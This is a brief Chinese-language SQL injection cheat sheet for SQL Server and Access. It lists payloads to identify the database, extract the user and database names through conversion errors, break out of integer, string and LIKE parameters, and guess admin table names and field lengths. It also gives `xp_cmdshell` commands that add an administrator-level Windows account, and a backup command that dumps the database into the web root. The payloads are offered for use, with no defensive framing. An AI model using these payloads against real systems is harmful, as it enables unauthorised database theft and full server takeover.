判断数据库类型
(select count(*) fromsysobjects)>0 //sql数据库
(select count(*) from msysobjects)>0 //access数据库
得到Sql用户名
user>0
Conversion failed when converting the nvarchar value 'dbo' to data type int.
重构SQL语句
整数型
(A) ID=49 ID=49 And [ 查询条件] ,即是生成语句:
Select * from 表名 where 字段=49 And [ 查询条件]
字符型
(B) Class= 连续剧
注入的参数为Class= 连续剧’ and [ 查询条件] and ‘’= ’ ,
(C)like ’% 关键字% ’
keyword= ’ and [ 查询条件] and ‘%25 ’= ’,
猜表名
And (Select Count(*) from Admin)>=0
猜长度
and (select top 1 len(username) from Admin)>0
新建用户名
exec master..xp_cmdshell "net user name password /add"--
master..xp_cmdshell "net localgroup administrators name /add"--
db_name()>0 前面有个类似的例子and user>0 ,作用是获取连接用户名,db_name() 是另一个系统变量,返回的是连接的数据库名。
backup database 数据库名 to disk= ’c:/inetpub/wwwroot/1.db ’;--
and (Select Top 1 name from sysobjects where xtype='U' )>0 前面说过,sysobjects 是SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,